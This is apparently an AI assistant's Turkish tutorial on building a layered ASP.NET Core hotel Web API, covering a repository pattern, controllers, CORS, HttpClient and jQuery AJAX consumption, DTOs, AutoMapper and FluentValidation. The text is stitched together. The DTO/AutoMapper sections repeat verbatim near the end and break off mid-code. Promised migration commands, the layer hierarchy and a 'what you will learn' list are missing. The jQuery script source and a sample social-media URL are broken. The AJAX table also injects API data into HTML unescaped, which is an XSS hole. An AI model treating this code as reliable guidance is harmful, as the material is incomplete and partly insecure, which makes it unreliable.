Gönderdiğiniz
müfredat dosyasını en ince ayrıntısına kadar inceledim. Bu eğitim içeriği, Asp.Net
Core mimarisi kullanılarak modern, katmanlı (N-Tier Architecture) bir Web API projesinin sıfırdan
geliştirilmesini, MSSQL veritabanına
bağlanmasını, güvenlik (JWT, Identity) adımlarının kurgulanmasını
ve ardından hem kendi yazdığımız API'nin hem de dış
dünyadaki hazır servislerin (RapidAPI) frontend tarafında tüketilmesini (Consume)
hedefleyen kapsamlı bir rehberdir.
İstediğiniz
kurallar doğrultusunda; tüm süre (dakika/saniye) ifadelerini, "Önizleme" ve ders adetlerini belirten satırları
tamamen temizledim. Anlamsız veya tekrarlayan ifadeleri ayıkladım. Özet
geçmeden, her bir ana başlığı detaylı teorik anlatımlar, gerçek dünya örnekleri
ve kod uygulamalarıyla zenginleştirerek tasarladım.
Dosya
oldukça uzun ve teknik detay seviyesi yüksek olduğu için, konuyu derinlemesine
işleyebilmek adına müfredatı mantıksal bölümlere ayırarak parça parça
ilerleteceğim. Bu ilk aşamada Giriş, "Öğrenecekleriniz" Bölümünün
Analizi ve Temel API Katmanlarının İnşası konularını ele alıyoruz.
"Öğrenecekleriniz" Paragrafının Detaylı Açıklaması
Bu
kursun "Öğrenecekleriniz" bölümü, modern bir backend
geliştiricinin kurumsal projelerde ihtiyaç duyacağı en kritik yetkinlikleri
özetlemektedir:
BÖLÜM 1: Giriş ve Kurumsal Katmanlı Mimari (N-Tier Architecture) Altyapısı
Gerçek
dünya projelerinde tüm kodların tek bir projeye yazılması (Monolitik/Spagetti
kod) sürdürülebilir değildir. Bu yüzden projemizi Giriş ve Katmanların
Oluşturulması felsefesine uygun olarak 5 temel katmana ayırarak
tasarlıyoruz.
1.
Katmanların Tasarımı ve Referans Haritası
Mimaride
katmanların birbirini tanıma (referans etme) kuralı çok katıdır. Aşağıdaki
hiyerarşi, projenin stabilizesi için şarttır:
2.
Entitylerin (Veri Modellerinin) Oluşturulması
Uygulaması
Otel
rezervasyon sistemi projemizin temel taşlarını oluşturacak sınıfları (Entity) tasarlayalım. OtelProject.Entity katmanında bu sınıfları POCO
(Plain Old CLR Objects)
olarak tanımlarız.
Uygulama:
Sınıfların Tanımlanması
// Room
(Oda) Sınıfı
public class Room
{
public int
RoomID { get;
set; }
public string RoomNumber { get;
set; }
public string RoomCoverImage { get; set; }
public decimal Price { get;
set; }
public string Title { get;
set; }
public string Description { get;
set; }
}
// Staff
(Personel) Sınıfı
public class Staff
{
public int
StaffID { get;
set; }
public string Name { get; set; }
public string Title { get;
set; }
public string SocialMediaUrl { get; set; }
}
3.
DbContext, Veritabanı
Bağlantısı ve Migration Süreci
Entity'lerimizi oluşturduktan sonra OtelProject.DataAccess katmanında Entity Framework Core
ve SQL Server paketlerini kurarak MSSQL bağlantısını kurgulamamız
gerekir.
Uygulama:
Context Sınıfı Yazımı
using Microsoft.EntityFrameworkCore;
public class Context : DbContext
{
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
//
Gerçek dünya senaryosunda SQL Server bağlantı adresi buraya yazılır.
optionsBuilder.UseSqlServer("Server=YOUR_SERVER_NAME;Database=OtelDb;Trusted_Connection=True;TrustServerCertificate=True;");
}
public DbSet<Room> Rooms { get; set; }
public DbSet<Staff> Staffs { get; set; }
}
Migration
(Veritabanına Yansıtma) Adımları:
Package Manager Console açılarak aşağıdaki kodlar sırasıyla
çalıştırılır:
4.
Abstract Interfaces ve Generic Repository Tasarım Kalıbı
(Design Pattern)
Her
tablo için tek tek Ekle,
Sil, Listele kodları yazmak yerine, DRY (Don't Repeat Yourself) prensibine
uyarak Generic Repository
şablonu hazırlıyoruz.
Uygulama:
Generic DAL (Data Access Layer)
Arayüzü
// Tüm sınıflar için
ortak CRUD imzasını taşıyan Generic Arayüz
public interface IGenericDal<T> where T : class
{
void Insert(T t);
void Delete(T t);
void Update(T t);
List<T> GetList();
T GetById(int id);
}
// Staff
tablosuna özgü interface (Gerekirse buraya özel
metotlar eklenebilir)
public interface IStaffDal : IGenericDal<Staff>
{
}
Uygulama:
Generic Repository Sınıfı
public class GenericRepository<T> : IGenericDal<T> where T : class
{
public void Insert(T t)
{
using var context = new Context();
context.Set<T>().Add(t);
context.SaveChanges();
}
public void Delete(T t)
{
using var context = new Context();
context.Set<T>().Remove(t);
context.SaveChanges();
}
public void Update(T t)
{
using var context = new Context();
context.Set<T>().Update(t);
context.SaveChanges();
}
public List<T> GetList()
{
using var context = new Context();
return context.Set<T>().ToList();
}
public T GetById(int id)
{
using var context = new Context();
return context.Set<T>().Find(id);
}
}
Artık
Staff nesnesi için veritabanı
işlemlerini yürütecek olan somut (Concrete)
sınıfımızı bu generic yapıdan kolayca türetebiliriz:
public class EfStaffRepository : GenericRepository<Staff>, IStaffDal
{
//
İlerleyen bölümlerde personele özgü özel SQL sorguları buraya yazılacak.
}
5.
Business (İş) Katmanı: Servis ve Manager Yapısı
API
katmanı doğrudan DataAccess katmanı ile
konuşmamalıdır. Araya kontrol mekanizması olan Business katmanını koyuyoruz.
Uygulama:
İş Mantığı Arayüzü ve Yönetici Sınıfı
public interface IStaffService
{
void TInsert(Staff staff);
void TDelete(Staff staff);
void TUpdate(Staff staff);
List<Staff> TGetList();
Staff TGetById(int id);
}
public class StaffManager : IStaffService
{
private readonly IStaffDal _staffDal;
//
Bağımlılığı gevşetmek için Dependency Injection deseni uyguluyoruz
public StaffManager(IStaffDal staffDal)
{
_staffDal = staffDal;
}
public void TInsert(Staff staff)
{
//
Örnek İş Kuralı: Personel ismi boş kaydedilemez.
if (!string.IsNullOrEmpty(staff.Name))
{
_staffDal.Insert(staff);
}
}
public void TDelete(Staff staff) => _staffDal.Delete(staff);
public void TUpdate(Staff staff) => _staffDal.Update(staff);
public List<Staff> TGetList() => _staffDal.GetList();
public Staff TGetById(int
id) => _staffDal.GetById(id);
}
BÖLÜM 2: Swagger ve API
Kontrolörlerinin (Controllers) Kodlanması
Katmanlar
arası bağları kurup veritabanı şemasını oturttuktan
sonra, dış dünyaya bu verileri güvenli ve standart bir formatta (JSON)
açacak olan API uç noktalarını (Endpoints)
kodlamaya geçiyoruz.
1.
API Kontrolörü Mimari Altyapısı
Bir
API sınıfı standart bir web sayfasından farklı olarak ControllerBase sınıfından türetilir ve üzerinde [ApiController] ile [Route("api/[controller]")] niteliklerini (Attributes) taşır. Bu sayede gelen HTTP istekleri otomatik
olarak ilgili metotlara yönlendirilir.
2.
Staff Controller Uygulaması
OtelProject.WebApi projesinde Controllers klasörü altında StaffController sınıfını oluşturuyoruz. StaffManager sınıfını constructor yöntemiyle
enjekte ederek tüm temel CRUD işlemlerini dış dünyaya açıyoruz.
Uygulama:
Tam Kapsamlı API Denetleyicisi
using Microsoft.AspNetCore.Mvc;
[Route("api/[controller]")]
[ApiController]
public class StaffController : ControllerBase
{
private readonly IStaffService _staffService;
public StaffController(IStaffService staffService)
{
_staffService
= staffService;
}
//
1. Tüm Personelleri Getiren Uç Nokta
[HttpGet]
public IActionResult StaffList()
{
var
values = _staffService.TGetList();
return Ok(values); // HTTP 200 Durum Kodu ile verileri JSON döndürür.
}
//
2. Yeni Personel Ekleme Uç Noktası
[HttpPost]
public IActionResult AddStaff(Staff staff)
{
_staffService.TInsert(staff);
return StatusCode(201);
// HTTP 201 Created
durum kodu döner.
}
//
3. Personel Silme Uç Noktası
[HttpDelete("{id}")]
public IActionResult DeleteStaff(int
id)
{
var
value = _staffService.TGetById(id);
if (value == null)
{
return NotFound("Personel bulunamadı."); //
HTTP 404
}
_staffService.TDelete(value);
return Ok("Personel
başarıyla silindi.");
}
//
4. Personel Güncelleme Uç Noktası
[HttpPut]
public IActionResult UpdateStaff(Staff staff)
{
_staffService.TUpdate(staff);
return Ok("Personel
bilgileri güncellendi.");
}
//
5. ID Değerine Göre Tek Bir Personel Getirme Uç Noktası
[HttpGet("{id}")]
public IActionResult GetStaff(int
id)
{
var
value = _staffService.TGetById(id);
if (value == null)
{
return NotFound();
}
return Ok(value);
}
}
3.
Swagger Giriş ve Test İşlemleri
Yazdığımız
API metodlarını tarayıcı üzerinden doğrudan test
etmek zordur (özellikle POST, PUT ve DELETE isteklerini). Bu aşamada devreye Swagger aracı girer.
{
"name": "Ahmet
Yılmaz",
"title": "Resepsiyon
Şefi",
"socialMediaUrl": "://instagram.com"
}
Harika!
Planladığımız doğrultuda detay seviyesini koruyarak, teorik altyapıyı hem
kurumsal backend yaklaşımları (HttpClient)
hem de modern dinamik ön yüz teknikleri (AJAX/JavaScript) ile
harmanlayarak ilerliyoruz.
Bu
bölümde API CORS Politikaları, Frontend Katmanında
API'lerin HttpClient ile Consume Edilmesi ve Personel Modülü Üzerinde Tüm CRUD
İşlemlerinin JavaScript/AJAX Entegrasyonu konularını en ince detayına kadar
ele alacağız.
BÖLÜM 3: API CORS Politikaları ve MVC ile Ön Yüzün İnşası
Farklı
portlarda veya farklı sunucularda çalışan iki projenin (Örn:
API projemiz localhost:5000 portunda, Ön Yüz projemiz localhost:7000 portunda çalışıyor olsun)
birbiriyle güvenli bir şekilde veri alışverişi yapabilmesi için API tarafında
bir güvenlik kapısının açılması gerekir. Tarayıcılar, varsayılan olarak bu tür
farklı kökenli (Cross-Origin) istekleri engeller.
Buna CORS (Cross-Origin Resource Sharing) politikası denir.
1.
API Projesinde CORS Politikasının Yapılandırılması
API
projemizin Program.cs (veya .NET 5/3.1
kullanılıyorsa Startup.cs) dosyasına giderek, ön yüz
projemizden gelecek olan istekleri yasal kabul edecek politikayı tanımlıyoruz.
Uygulama:
CORS Konfigürasyonu (Program.cs)
var builder = WebApplication.CreateBuilder(args);
// 1. CORS Servis
Alanının Tanımlanması
builder.Services.AddCors(options =>
{
options.AddPolicy("OtelApiCors", policy =>
{
policy.WithOrigins("https://localhost:7000", "http://localhost:7000") //
Ön yüz projesinin adresi
.AllowAnyHeader()
// Her türlü HTTP
başlığına (Content-Type, Authorization
vb.) izin ver
.AllowAnyMethod(); // GET, POST, PUT, DELETE metotlarının tamamına izin ver
});
});
builder.Services.AddControllers();
var app = builder.Build();
// 2. CORS Ara
Katmanının (Middleware) Aktif Edilmesi
app.UseCors("OtelApiCors");
app.UseAuthorization();
app.MapControllers();
app.Run();
2.
Ön Yüz (Frontend) MVC Projesinde Veri Taşıma
Modellerinin (ViewModel) Hazırlanması
Ön
yüz projemizin veritabanı katmanıyla (DataAccess) doğrudan hiçbir bağı bulunmadığı için, API'den dönecek JSON verilerini karşılayacak hafif
sınıflara (ViewModel) ihtiyacımız vardır. OtelProject.Frontend projesinde Models/Staff klasörü altında bu modelleri
oluşturuyoruz.
Uygulama:
Ön Yüz Sınıfları
// API'den
gelen personel listesini karşılayacak model
public class ResultStaffViewModel
{
public int
StaffID { get;
set; }
public string Name { get; set; }
public string Title { get;
set; }
public string SocialMediaUrl { get; set; }
}
// Yeni personel
eklerken formdan alınacak verilerin modeli
public class CreateStaffViewModel
{
public string Name { get; set; }
public string Title { get;
set; }
public string SocialMediaUrl { get; set; }
}
// Güncelleme
ekranında kullanılacak model
public class UpdateStaffViewModel
{
public int
StaffID { get;
set; }
public string Name { get; set; }
public string Title { get;
set; }
public string SocialMediaUrl { get; set; }
}
BÖLÜM 4: Ön Yüzde HttpClient ile
API Tüketimi (Consume)
Şimdi,
ön yüz projemizin arka planında (Controller seviyesinde) API'ye asenkron HTTP
çağrıları atarak personel verilerini nasıl yöneteceğimizi kodlayalım. System.Net.Http.Json ve Newtonsoft.Json kütüphanelerini kullanarak JSON verilerini C# nesnelerine (Deserialization) ve C# nesnelerini JSON metnine (Serialization) dönüştüreceğiz.
1.
Personel Listeleme, Ekleme ve Silme İşlemleri
OtelProject.Frontend projesinde Controllers altına StaffController adında bir MVC denetleyicisi
ekliyoruz.
Uygulama:
HttpClient Kullanan MVC Controller Sınıfı
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json;
using System.Text;
public class StaffController : Controller
{
private readonly IHttpClientFactory _httpClientFactory;
//
HttpClient nesnelerini güvenli ve performanslı
yönetmek için enjekte ediyoruz
public StaffController(IHttpClientFactory httpClientFactory)
{
_httpClientFactory
= httpClientFactory;
}
//
1. PERSONEL LİSTELEME (GET CONSUME)
public async Task<IActionResult>
Index()
{
var
client = _httpClientFactory.CreateClient();
var
responseMessage = await client.GetAsync("http://localhost:5000/api/Staff");
if (responseMessage.IsSuccessStatusCode)
{
var
jsonData = await responseMessage.Content.ReadAsStringAsync();
var
values =
JsonConvert.DeserializeObject<List<ResultStaffViewModel>>(jsonData);
return View(values);
}
return View();
}
//
2. YENİ PERSONEL EKLEME (POST CONSUME)
[HttpGet]
public IActionResult AddStaff()
{
return View();
}
[HttpPost]
public async Task<IActionResult>
AddStaff(CreateStaffViewModel
model)
{
var
client = _httpClientFactory.CreateClient();
var
jsonData = JsonConvert.SerializeObject(model);
StringContent
stringContent = new
StringContent(jsonData, Encoding.UTF8, "application/json");
var
responseMessage = await client.PostAsync("http://localhost:5000/api/Staff", stringContent);
if (responseMessage.IsSuccessStatusCode)
{
return RedirectToAction("Index");
}
return View();
}
//
3. PERSONEL SİLME (DELETE CONSUME)
public async Task<IActionResult>
DeleteStaff(int
id)
{
var
client = _httpClientFactory.CreateClient();
var
responseMessage = await client.DeleteAsync($"http://localhost:5000/api/Staff/{id}");
if (responseMessage.IsSuccessStatusCode)
{
return RedirectToAction("Index");
}
return RedirectToAction("Index"); //
Hata durumunda da listeye döner (Geliştirilebilir)
}
//
4. GÜNCELLENECEK VERİYİ SAYFAYA TAŞIMA (GET BY ID)
[HttpGet]
public async Task<IActionResult>
UpdateStaff(int
id)
{
var
client = _httpClientFactory.CreateClient();
var
responseMessage = await client.GetAsync($"http://localhost:5000/api/Staff/{id}");
if (responseMessage.IsSuccessStatusCode)
{
var
jsonData = await responseMessage.Content.ReadAsStringAsync();
var
value = JsonConvert.DeserializeObject<UpdateStaffViewModel>(jsonData);
return View(value);
}
return RedirectToAction("Index");
}
//
5. PERSONEL GÜNCELLEME (PUT CONSUME)
[HttpPost]
public async Task<IActionResult>
UpdateStaff(UpdateStaffViewModel
model)
{
var
client = _httpClientFactory.CreateClient();
var
jsonData = JsonConvert.SerializeObject(model);
StringContent
stringContent = new
StringContent(jsonData, Encoding.UTF8, "application/json");
var
responseMessage = await client.PutAsync("http://localhost:5000/api/Staff", stringContent);
if (responseMessage.IsSuccessStatusCode)
{
return RedirectToAction("Index");
}
return View();
}
}
BÖLÜM 5: Mimariyi AJAX ve JavaScript Örnekleriyle Destekleme
Kurumsal
projelerde, kullanıcının sayfayı tamamen yenilemeden (Page
Refresh) hızlı bir şekilde veri eklemesi, silmesi
veya listelemesi istenir. Bu senaryoda sayfa yenileme yükünü ortadan kaldırmak
için istemci (Client) tarafında JQuery AJAX
teknolojisini kullanarak doğrudan API uç noktalarımızla konuşabiliriz.
Aşağıdaki
HTML tasarımı ve JavaScript kod blokları yardımıyla, arka planda sayfa git-geli yaşanmadan API'ye nasıl
doğrudan bağlanabileceğimizi simüle edelim.
1.
Dinamik Personel Yönetim Paneli Arayüzü
Ön
yüz projemizde boş bir Views/Staff/AjaxPanel.cshtml sayfası oluşturup içerisine şu kodları entegre ediyoruz:
@{
Layout = "~/Views/Shared/_Layout.cshtml"; // Temel Bootstrap içeren
Layout yapısı
}
<div class="container mt-5">
<h2 class="mb-4">Dinamik Personel Yönetim Paneli (AJAX)</h2>
<!--
Yeni Personel Ekleme Form Alanı -->
<div
class="card p-4 mb-4 shadow-sm">
<h4>Yeni Personel Ekle</h4>
<div
class="row g-3">
<div
class="col-md-4">
<input type="text" id="txtStaffName" class="form-control" placeholder="Adı Soyadı" />
</div>
<div
class="col-md-4">
<input type="text" id="txtStaffTitle" class="form-control" placeholder="Görevi / Unvanı" />
</div>
<div
class="col-md-4">
<input type="text" id="txtStaffSocial" class="form-control" placeholder="Sosyal Medya Linki" />
</div>
</div>
<button type="button" id="btnSaveStaff" class="btn btn-success
mt-3 w-25">Personeli
Kaydet</button>
</div>
<!--
Personel Listesinin Basılacağı Tablo Bölümü -->
<div
class="card p-4 shadow-sm">
<div
class="d-flex justify-content-between
mb-3">
<h4>Aktif Personel Listesi</h4>
<button type="button" id="btnRefreshList" class="btn btn-primary">Listeyi Yenile</button>
</div>
<table class="table table-bordered
table-striped">
<thead class="table-dark">
<tr>
<th>#</th>
<th>Adı Soyadı</th>
<th>Görevi</th>
<th>Sosyal Medya</th>
<th>İşlemler</th>
</tr>
</thead>
<tbody id="staffTableBody">
<!--
Veriler AJAX ile buraya yüklenecektir -->
</tbody>
</table>
</div>
</div>
<!-- JQuery Kütüphanesi Dahil Ediliyor
-->
<script src="https://jquery.com"></script>
<script>
// Sayfa tamamen yüklendiğinde çalışacak
ana JavaScript bloğu
$(document).ready(function
() {
loadStaffList(); // İlk açılışta listeyi doldur
// 1. AJAX İLE LİSTELEME FONKSİYONU
function
loadStaffList() {
$.ajax({
url: "http://localhost:5000/api/Staff", // API Uç Noktası
type: "GET",
dataType: "json",
success: function (data) {
let htmlRows = "";
$.each(data, function (index, item) {
htmlRows += `
<tr>
<td>${item.staffID}</td>
<td>${item.name}</td>
<td><span
class="badge bg-secondary">${item.title}</span></td>
<td>${item.socialMediaUrl}</td>
<td>
<button class="btn btn-danger
btn-sm btn-delete" data-id="${item.staffID}">Sil</button>
</td>
</tr>
`;
});
$("#staffTableBody").html(htmlRows);
// Tablo gövdesine HTML'i enjekte et
},
error: function (xhr, status, error)
{
alert("Veriler çekilirken bir hata oluştu: " + error);
}
});
}
// Listeyi Yenile Buton Tetikleyicisi
$("#btnRefreshList").click(function () {
loadStaffList();
});
// 2. AJAX İLE YENİ KAYIT EKLEME FONKSİYONU
$("#btnSaveStaff").click(function () {
// Arayüzdeki input
değerlerini oku
let staffData = {
name:
$("#txtStaffName").val(),
title: $("#txtStaffTitle").val(),
socialMediaUrl: $("#txtStaffSocial").val()
};
$.ajax({
url: "http://localhost:5000/api/Staff",
type: "POST",
contentType: "application/json; charset=utf-8",
data: JSON.stringify(staffData), //
JSON formatına dönüştürerek gönder
success: function (response) {
alert("Personel sisteme başarıyla eklendi!");
// Inputları
temizle
$("#txtStaffName").val("");
$("#txtStaffTitle").val("");
$("#txtStaffSocial").val("");
// Tabloyu güncel durumla
yeniden yükle
loadStaffList();
},
error: function (xhr, status, error)
{
alert("Kayıt esnasında hata meydana geldi.");
}
});
});
// 3. AJAX İLE DİNAMİK SİLME İŞLEMİ
// Sayfa yüklendikten sonra dinamik
oluşan butonları yakalamak için 'on' metodunu kullanıyoruz
$(document).on("click", ".btn-delete", function () {
let id = $(this).data("id");
if (confirm("Bu personeli silmek istediğinize emin misiniz?")) {
$.ajax({
url:
`http://localhost:5000/api/Staff/${id}`,
type: "DELETE",
success: function (result) {
alert("Personel silindi.");
loadStaffList(); // Tabloyu
tazele
},
error: function (xhr, status, error)
{
alert("Silme işlemi başarısız oldu.");
}
});
}
});
});
</script>
Müfredatımızın
bu kritik aşamasında, kurumsal mimarilerin en önemli yapı taşlarından olan veri
güvenliği, optimizasyon ve doğrulama mekanizmalarını inşa ediyoruz. İstediğiniz
üzere Fluent Validation
mimarisini çift taraflı (hem API'yi korumak hem de
kullanıcıya şık mesajlar sunmak amacıyla) kurgulayacak, DTO yapısı ve AutoMapper entegrasyonuyla projemizi tamamen
profesyonel standartlara taşıyacağız.
Bu
bölümde DTO Sınıfları, AutoMapper Kurulumu, API ve
Frontend Katmanlarında Çift Yönlü Fluent
Validation Entegrasyonu ve ModelState
Kontrolleri konularını en ince detayına kadar kodlayarak işliyoruz.
BÖLÜM 6: DTO (Data Transfer Object) ve AutoMapper
Altyapısı
Veritabanı varlıklarımızı (Entity) doğrudan
dış dünyaya veya formlara açmak büyük bir güvenlik ve performans açığıdır. Bu
yüzden sadece taşınacak verileri içeren DTO sınıflarını tasarlıyoruz.
1.
Dto Katmanının Kurulması
OtelProject.DtoLayer katmanı altında odalar ve
hizmetler için veri transfer nesnelerimizi oluşturuyoruz.
Uygulama:
Room DTO Sınıfları
namespace OtelProject.DtoLayer.RoomDto
{
//
Oda eklenirken dışarıdan beklenen veri kalıbı
public class CreateRoomDto
{
public string RoomNumber { get;
set; }
public string RoomCoverImage { get; set; }
public decimal Price { get;
set; }
public string Title { get;
set; }
public string Description { get;
set; }
}
//
Oda güncellenirken beklenen veri kalıbı (ID içermek zorundadır)
public class UpdateRoomDto
{
public int
RoomID { get;
set; }
public string RoomNumber { get;
set; }
public string RoomCoverImage { get; set; }
public decimal Price { get;
set; }
public string Title { get;
set; }
public string Description { get;
set; }
}
}
2.
AutoMapper ile Nesne Eşleme Entegrasyonu
DTO
nesnelerini Entity nesnelerine (veya tam tersi)
dönüştürürken tek tek el ile atama yapmak (room.Title = dto.Title gibi) kod kalabalığı
yaratır. Bu süreci otomatikleştirmek için hem API hem Frontend
projemize AutoMapper.Extensions.Microsoft.DependencyInjection NuGet
paketini kuruyoruz.
Uygulama:
Eşleme Haritasının (Mapping Profile) Tanımlanması
OtelProject.DtoLayer veya API katmanında bir Mapping klasörü açarak profil sınıfını yazıyoruz:
using AutoMapper;
using OtelProject.DtoLayer.RoomDto;
using OtelProject.Entity;
public class AutoMapperConfig : Profile
{
public AutoMapperConfig()
{
//
CreateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift
yönlü)
CreateMap<CreateRoomDto, Room>().ReverseMap();
//
UpdateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift
yönlü)
CreateMap<UpdateRoomDto, Room>().ReverseMap();
}
}
API
Servis Kaydı (Program.cs):
// AutoMapper
profilini sisteme tanıtıyoruz
builder.Services.AddAutoMapper(typeof(AutoMapperConfig));
BÖLÜM 7: API Katmanında "Kapıda Güvenlik" (Fluent Validation)
Kötü
niyetli veya eksik verilerin daha Business katmanına dahi ulaşmadan API
kapısında reddedilmesi gerekir. Bunun için API projesine FluentValidation.DependencyInjectionExtensions paketi kurulur.
1.
Doğrulama Kurallarının Yazılması
Uygulama:
Room Validator Sınıfı
using FluentValidation;
using OtelProject.DtoLayer.RoomDto;
public class CreateRoomValidator : AbstractValidator<CreateRoomDto>
{
public CreateRoomValidator()
{
RuleFor(x => x.RoomNumber).NotEmpty().WithMessage("Oda numarası boş geçilemez.");
RuleFor(x => x.Title).NotEmpty().WithMessage("Oda başlığı boş bırakılamaz.");
RuleFor(x => x.Price).NotEmpty().WithMessage("Fiyat alanı zorunludur.");
RuleFor(x => x.Title).MaximumLength(50).WithMessage("Lütfen en fazla 50 karakter veri girişi yapınız.");
RuleFor(x => x.Description).MinimumLength(10).WithMessage("Lütfen oda açıklamasını en az 10 karakter olarak
yazınız.");
}
}
2.
API Controller Üzerinde ModelState ve Validation Kontrolü
Validator sınıfını yazdıktan sonra API kontrolörümüz içinde doğrulama
sonuçlarını denetliyoruz.
Uygulama:
Room2Controller Sınıfı (DTO, AutoMapper ve Validation Birleşimi)
using AutoMapper;
using FluentValidation;
using Microsoft.AspNetCore.Mvc;
using OtelProject.DtoLayer.RoomDto;
using OtelProject.Entity;
[Route("api/[controller]")]
[ApiController]
public class Room2Controller : ControllerBase
{
private readonly IRoomService _roomService;
private readonly IMapper _mapper;
private readonly IValidator<CreateRoomDto>
_validator;
public Room2Controller(IRoomService
roomService, IMapper mapper, IValidator<CreateRoomDto> validator)
{
_roomService
= roomService;
_mapper = mapper;
_validator = validator;
}
[HttpPost]
public IActionResult AddRoom(CreateRoomDto createRoomDto)
{
//
1. Doğrulama kurallarını çalıştır
var
validationResult = _validator.Validate(createRoomDto);
if (!validationResult.IsValid)
{
// Kurallara uymayan hataları ModelState'e
aktar ve HTTP 400 Bad Request
dön
foreach (var error in
validationResult.Errors)
{
ModelState.AddModelError(error.PropertyName, error.ErrorMessage);
}
return BadRequest(ModelState); //
Hatalar JSON olarak kapıda reddedilir.
}
//
2. Doğrulama başarılı ise DTO'yu Entity'e
eşle ve kaydet
var
room = _mapper.Map<Room>(createRoomDto);
_roomService.TInsert(room);
return Ok("Oda
başarıyla eklendi.");
}
}
BÖLÜM 8: Frontend MVC Katmanında
"Şık Doğrulama Mesajları"
API'mizi güvenceye aldık. Ancak kullanıcı arayüzünde (Frontend MVC) bir hata oluştuğunda, kullanıcının önüne kod
blokları veya ham JSON hataları atmak yerine, bootstrap
uyarı pencereleriyle şık mesajlar göstermeliyiz. Ön yüz projesine de FluentValidation.AspNetCore paketi eklenir.
1.
Frontend Validasyon Kuralları ve Servis Tanımlaması
Ön
yüz projesinin Program.cs dosyasına validasyon
servisini ekliyoruz:
using FluentValidation.AspNetCore;
builder.Services.AddControllersWithViews()
.AddFluentValidation(fv =>
fv.RegisterValidatorsFromAssemblyContaining<CreateRoomValidator>());
2.
Frontend Controller ve Şık Arayüz Tasarımı
Uygulama:
Form Kontrolü Sağlayan MVC Metodu
[HttpPost]
public async Task<IActionResult>
AddRoom(CreateRoomDto
model)
{
//
Eğer Frontend seviyesindeki Fluent
Validation kurallarına takılırsa, API'ye
hiç gitme
if (!ModelState.IsValid)
{
return View(model); // Hata mesajlarıyla birlikte formu kullanıcıya geri döner.
}
var
client = _httpClientFactory.CreateClient();
var
jsonData = JsonConvert.SerializeObject(model);
StringContent stringContent = new
StringContent(jsonData, Encoding.UTF8, "application/json");
var
responseMessage = await client.PostAsync("http://localhost:5000/api/Room2", stringContent);
if (responseMessage.IsSuccessStatusCode)
{
return RedirectToAction("Index");
}
else if (responseMessage.StatusCode
== System.Net.HttpStatusCode.BadRequest)
{
//
Eğer API katmanındaki ekstra bir kurala takıldıysa oradan gelen hataları da
yakala
var
errorContent = await responseMessage.Content.ReadAsStringAsync();
ModelState.AddModelError(string.Empty, "API
Doğrulama Hatası: "
+ errorContent);
}
return View(model);
}
Uygulama:
Şık Form Tasarımı (AddRoom.cshtml)
Kullanıcıya
form üzerinde hataları kırmızı renkte ve zarif bir şekilde göstermek için asp-validation-for etiketlerinden (Tag Helpers) yararlanıyoruz:
@model
OtelProject.DtoLayer.RoomDto.CreateRoomDto
<div class="container mt-5">
<div
class="card shadow-sm p-4">
<h3 class="text-primary mb-3">Yeni Oda Tanımlama Ekranı</h3>
<form method="post">
<div
class="mb-3">
<label class="form-label fw-bold">Oda Numarası</label>
<input type="text" asp-for="RoomNumber" class="form-control" placeholder="Örn: 302" />
<!--
Şık hata mesajı alanı -->
<span asp-validation-for="RoomNumber" class="text-danger small
fw-bold"></span>
</div>
<div
class="mb-3">
<label class="form-label fw-bold">Oda Başlığı</label>
<input type="text" asp-for="Title" class="form-control" placeholder="Örn: Kral Dairesi Sea View" />
<span asp-validation-for="Title" class="text-danger small
fw-bold"></span>
</div>
<div
class="mb-3">
<label class="form-label fw-bold">Gecelik Fiyatı ($)</label>
<input type="number" asp-for="Price" class="form-control" />
<span asp-validation-for="Price" class="text-danger small
fw-bold"></span>
</div>
<div
class="mb-3">
<label class="form-label fw-bold">Oda Açıklaması</label>
<textarea asp-for="Description" rows="4" class="form-control" placeholder="Oda özelliklerini belirtiniz..."></textarea>
<span asp-validation-for="Description" class="text-danger small
fw-bold"></span>
</div>
<button type="submit" class="btn btn-primary
px-4">Odayı
Yayına Al</button>
</form>
</div>
</div>
Müfredatımızın
bu kritik aşamasında, kurumsal mimarilerin en önemli yapı taşlarından olan veri
güvenliği, optimizasyon ve doğrulama mekanizmalarını inşa ediyoruz. İstediğiniz
üzere Fluent Validation
mimarisini çift taraflı (hem API'yi korumak hem de
kullanıcıya şık mesajlar sunmak amacıyla) kurgulayacak, DTO yapısı ve AutoMapper entegrasyonuyla projemizi tamamen
profesyonel standartlara taşıyacağız.
Bu
bölümde DTO Sınıfları, AutoMapper Kurulumu, API ve
Frontend Katmanlarında Çift Yönlü Fluent
Validation Entegrasyonu ve ModelState
Kontrolleri konularını en ince detayına kadar kodlayarak işliyoruz.
BÖLÜM 6: DTO (Data Transfer Object) ve AutoMapper
Altyapısı
Veritabanı varlıklarımızı (Entity) doğrudan
dış dünyaya veya formlara açmak büyük bir güvenlik ve performans açığıdır. Bu
yüzden sadece taşınacak verileri içeren DTO sınıflarını tasarlıyoruz.
1.
Dto Katmanının Kurulması
OtelProject.DtoLayer katmanı altında odalar ve
hizmetler için veri transfer nesnelerimizi oluşturuyoruz.
Uygulama:
Room DTO Sınıfları
namespace OtelProject.DtoLayer.RoomDto
{
//
Oda eklenirken dışarıdan beklenen veri kalıbı
public class CreateRoomDto
{
public string RoomNumber { get;
set; }
public string RoomCoverImage { get; set; }
public decimal Price { get;
set; }
public string Title { get;
set; }
public string Description { get;
set; }
}
//
Oda güncellenirken beklenen veri kalıbı (ID içermek zorundadır)
public class UpdateRoomDto
{
public int
RoomID { get;
set; }
public string RoomNumber { get;
set; }
public string RoomCoverImage { get; set; }
public decimal Price { get;
set; }
public string Title { get;
set; }
public string Description { get;
set; }
}
}
2.
AutoMapper ile Nesne Eşleme Entegrasyonu
DTO
nesnelerini Entity nesnelerine (veya tam tersi)
dönüştürürken tek tek el ile atama yapmak (room.Title = dto.Title gibi) kod kalabalığı
yaratır. Bu süreci otomatikleştirmek için hem API hem Frontend
projemize AutoMapper.Extensions.Microsoft.DependencyInjection NuGet
paketini kuruyoruz.
Uygulama:
Eşleme Haritasının (Mapping Profile) Tanımlanması
OtelProject.DtoLayer veya API katmanında bir Mapping klasörü açarak profil sınıfını yazıyoruz:
using AutoMapper;
using OtelProject.DtoLayer.RoomDto;
using OtelProject.Entity;
public class AutoMapperConfig : Profile
{
public AutoMapperConfig()
{
//
CreateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift
yönlü)
CreateMap<CreateRoomDto, Room>().ReverseMap();
//
UpdateRoomDto nesnesini gördüğün yerde Room entity'sine dönüştür (Çift
yönlü)
